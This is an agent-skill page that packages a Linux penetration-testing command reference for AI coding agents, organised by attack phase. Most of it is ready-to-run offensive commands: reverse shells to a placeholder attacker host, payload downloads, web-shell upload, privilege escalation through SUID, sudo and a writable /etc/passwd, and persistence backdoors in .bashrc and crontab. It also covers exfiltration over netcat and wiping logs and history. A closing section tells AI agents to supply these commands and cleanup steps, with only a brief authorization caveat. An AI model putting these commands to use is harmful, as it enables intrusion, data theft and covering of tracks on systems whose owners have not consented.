# Linux Pentester Command Reference

> Practical Linux command reference and penetration testing notes for reconnaissance, enumeration, exploitation, privilege escalation, and post-exploitation phases

- Skill: `aradotso-security-skills/linux-pentester-command-reference` (Agent Skill)
- Install (CLI): `npx skillmds@latest add aradotso-security-skills/linux-pentester-command-reference`
- Raw SKILL.md: https://api.skillmd.com/api/skills/aradotso-security-skills/linux-pentester-command-reference/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: aradotso (https://skillmd.com/u/aradotso-security-skills)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/aradotso-security-skills/linux-pentester-command-reference

---


# Linux Pentester Command Reference

> Skill by [ara.so](https://ara.so) — Security Skills collection.

This skill provides access to a curated collection of practical Linux commands and techniques organized by penetration testing phases. The repository contains battle-tested commands from real-world labs, CTFs, and hands-on practice, covering reconnaissance, enumeration, exploitation, privilege escalation, and post-exploitation.

## What This Project Provides

**Linux for a Pentester** is a knowledge repository containing:
- Essential Linux survival commands for daily pentesting
- Local and network reconnaissance techniques
- Service and user data enumeration commands
- Exploitation techniques (shells, file uploads, initial access)
- Privilege escalation methods (SUID, sudo, kernel exploits)
- Post-exploitation activities (persistence, cleanup, lateral movement)
- Quick reference cheatsheets for common scenarios

## Repository Structure

The knowledge base is organized into focused modules:

```
Linux-for-a-Pentester/
├── 00-General-Commands/     # Daily survival commands
├── 01-Recon/                # Reconnaissance phase
├── 02-Enumeration/          # Deep service enumeration
├── 03-Exploitation/         # Initial access techniques
├── 04-Privilege-Escalation/ # Root escalation methods
├── 05-Post-Exploitation/    # Persistence & lateral movement
└── Cheatsheets/             # Quick reference one-liners
```

## Installation

Clone the repository locally for quick reference during engagements:

```bash
git clone https://github.com/HIMANSHUSHARMA20/Linux-for-a-Pentester.git
cd Linux-for-a-Pentester
```

For quick access during assessments, bookmark or symlink specific directories:

```bash
# Create symlink to quick access location
ln -s $(pwd) ~/pentesting-notes

# Or add to PATH for script access
export PATH="$PATH:$(pwd)/scripts"
```

## Key Command Categories

### General Commands (Phase 0)

Essential survival commands for system navigation and basic operations:

```bash
# System information gathering
uname -a                    # Kernel version and system info
cat /etc/os-release        # Distribution details
hostname                   # Current hostname
whoami                     # Current user
id                         # User ID and group membership
w                          # Logged in users
last                       # Login history

# File operations
find / -name "flag.txt" 2>/dev/null          # Find files by name
find / -perm -4000 -type f 2>/dev/null       # Find SUID binaries
find / -writable -type d 2>/dev/null         # Find writable directories
grep -r "password" /home 2>/dev/null         # Search for strings

# Network basics
ip a                       # Network interfaces
ss -tulpn                  # Active connections and listening ports
netstat -ano               # Alternative connection viewer
cat /etc/hosts             # Hosts file
cat /etc/resolv.conf       # DNS configuration
```

### Reconnaissance (Phase 1)

Local and network discovery commands:

```bash
# Local enumeration
ps aux                     # Running processes
ps aux | grep root         # Root processes
cat /etc/passwd            # User accounts
cat /etc/group             # Group information
cat /etc/shadow            # Password hashes (if accessible)
env                        # Environment variables
history                    # Command history
cat ~/.bash_history        # User bash history

# Network reconnaissance
ping -c 4 <target>         # Host availability
for i in {1..254}; do ping -c 1 192.168.1.$i | grep "64 bytes"; done
nmap -sV -p- <target>      # Service version scan
nmap -sU -p- <target>      # UDP scan
arp -a                     # ARP cache
route -n                   # Routing table

# Service identification
curl -I http://<target>    # HTTP headers
nc -v <target> <port>      # Manual banner grabbing
telnet <target> <port>     # Alternative banner grab
```

### Enumeration (Phase 2)

Deep-dive service and data enumeration:

```bash
# User enumeration
cat /etc/passwd | cut -d: -f1                # List all users
grep -v -E "^#" /etc/passwd | awk -F: '$3 < 1000 {print $1}'  # System users
getent passwd <username>                     # User details
groups <username>                            # User groups

# File system enumeration
find / -user root -perm -4000 2>/dev/null    # SUID root files
find / -type f -perm -o+w 2>/dev/null        # World-writable files
find / -name "*.conf" 2>/dev/null            # Configuration files
find / -name "id_rsa" 2>/dev/null            # SSH private keys
locate password | more                        # Files with 'password'

# Service enumeration
systemctl list-units --type=service          # Running services
cat /etc/services                            # Port to service mapping
ls -la /etc/cron*                            # Cron jobs
cat /etc/crontab                             # System crontab
crontab -l                                   # User crontab

# Database files
find / -name "*.db" 2>/dev/null
find / -name "*.sqlite" 2>/dev/null
```

### Exploitation (Phase 3)

Initial access and shell techniques:

```bash
# Reverse shells
bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc -e /bin/bash <attacker-ip> <port>
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> <port> >/tmp/f

# Shell stabilization
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Press Ctrl+Z
stty raw -echo; fg
# Press Enter twice

# File upload techniques
wget http://<attacker-ip>/shell.sh -O /tmp/shell.sh
curl http://<attacker-ip>/shell.sh -o /tmp/shell.sh
scp user@<attacker-ip>:/path/to/file /tmp/
nc -lvp <port> < file.txt                    # Sender
nc <ip> <port> > file.txt                    # Receiver
```

### Privilege Escalation (Phase 4)

Techniques to escalate to root:

```bash
# SUID exploitation
find / -perm -4000 -type f 2>/dev/null       # Find SUID binaries
ls -la /usr/bin/find                         # Check specific binary
# Example: find SUID exploitation
find . -exec /bin/sh -p \; -quit

# Sudo abuse
sudo -l                                      # List sudo permissions
sudo -u#-1 /bin/bash                        # CVE-2019-14287 (sudo < 1.8.28)
# Check GTFOBins for specific binaries

# Kernel exploits
uname -a                                     # Kernel version
cat /proc/version                            # Detailed version
searchsploit kernel $(uname -r)              # Search exploits
gcc -o exploit exploit.c                     # Compile exploit
./exploit                                    # Execute

# Writable /etc/passwd
openssl passwd -1 -salt xyz password123      # Generate hash
echo 'newroot:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd

# Cron job abuse
cat /etc/crontab                             # Check cron jobs
ls -la /etc/cron.*                           # Cron directories
# Create reverse shell in writable cron script
echo 'bash -i >& /dev/tcp/<ip>/<port> 0>&1' >> /path/to/cron/script.sh

# Capabilities
getcap -r / 2>/dev/null                      # Find capabilities
# Example: python with cap_setuid
python -c 'import os; os.setuid(0); os.system("/bin/bash")'

# PATH hijacking
echo $PATH                                   # Current PATH
export PATH=/tmp:$PATH                       # Prepend /tmp
# Create malicious binary in /tmp with same name as legitimate one
```

### Post-Exploitation (Phase 5)

Maintaining access and lateral movement:

```bash
# Persistence
echo 'bash -i >& /dev/tcp/<ip>/<port> 0>&1' >> ~/.bashrc
(crontab -l ; echo "@reboot /tmp/backdoor.sh") | crontab -
ssh-keygen -t rsa                            # Generate SSH key
cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys

# Data exfiltration
tar czf - /path/to/data | nc <attacker-ip> <port>  # Sender
nc -lvp <port> | tar xzf -                   # Receiver
base64 /etc/shadow | base64 -d > shadow.txt  # Encode for transfer

# Cleanup
history -c                                   # Clear command history
rm ~/.bash_history                           # Remove history file
echo "" > /var/log/auth.log                  # Clear logs (requires root)
unset HISTFILE                               # Disable history logging

# Lateral movement
ssh user@<target-host>                       # SSH to other hosts
for i in {1..254}; do ssh user@192.168.1.$i 2>/dev/null; done
scp file.txt user@<host>:/tmp/               # Copy files to other hosts
```

## Common Patterns and Workflows

### Initial Access Workflow

```bash
# 1. Reconnaissance
nmap -sV -sC -p- <target-ip> -oN nmap.txt
cat nmap.txt | grep open

# 2. Service enumeration
whatweb http://<target-ip>
nikto -h http://<target-ip>

# 3. Exploitation (example: web shell upload)
curl -X POST -F "file=@shell.php" http://<target-ip>/upload.php
curl http://<target-ip>/uploads/shell.php?cmd=whoami

# 4. Reverse shell
# On attacker machine:
nc -lvnp 4444
# On target via web shell:
bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'
```

### Privilege Escalation Workflow

```bash
# 1. System information gathering
uname -a
cat /etc/issue
cat /etc/*-release

# 2. Automated enumeration (if possible to upload)
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# 3. Manual checks
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab

# 4. Exploit and escalate
# Execute appropriate technique based on findings
```

## Troubleshooting

### Command Not Found

```bash
# Check if binary exists
which <command>
find / -name <command> 2>/dev/null

# Use alternatives
# nc not available → use bash /dev/tcp
# python not available → use python3 or perl
# sudo -l fails → check SUID binaries
```

### Shell Issues

```bash
# If shell is not interactive:
python -c 'import pty;pty.spawn("/bin/bash")'
script /dev/null -c bash

# If terminal size is wrong:
stty rows 38 columns 116
export TERM=xterm-256color
```

### Permission Denied

```bash
# Try with full path
/usr/bin/command instead of command

# Check file permissions
ls -la /path/to/file

# Look for writable directories
find / -writable -type d 2>/dev/null
```

### Network Connection Failures

```bash
# Check firewall rules
iptables -L
cat /etc/iptables/rules.v4

# Try different ports
# 443, 80, 53 are often allowed outbound

# Use different protocols
# If TCP fails, try UDP
# If direct connection fails, try DNS tunneling
```

## Integration with AI Agents

When assisting users with this project:

1. **Identify the pentesting phase** the user is in (recon, enum, exploit, privesc, post-exploit)
2. **Reference the appropriate directory** in the repository structure
3. **Provide relevant commands** with explanations of flags and options
4. **Suggest variations** based on the target environment (Linux distro, available tools)
5. **Warn about operational security** implications when appropriate
6. **Recommend cleanup steps** after exploitation activities

## Best Practices

- Always get proper authorization before performing penetration testing
- Document all commands and findings during assessments
- Use these notes as a reference, but adapt to specific target environments
- Test commands in controlled lab environments before production use
- Clean up artifacts and close backdoors after authorized testing
- Keep environment variables for sensitive data: `$ATTACKER_IP`, `$TARGET_IP`, `$RPORT`

## Additional Resources

For deeper dives into specific techniques, consult:
- GTFOBins (https://gtfobins.github.io/) for SUID/sudo abuse
- HackTricks (https://book.hacktricks.xyz/) for comprehensive techniques
- PayloadsAllTheThings (https://github.com/swisskyrepo/PayloadsAllTheThings)
- PEASS-ng (https://github.com/carlospolop/PEASS-ng) for automated enumeration

This skill enables AI agents to guide users through Linux penetration testing phases with practical, field-tested commands and techniques.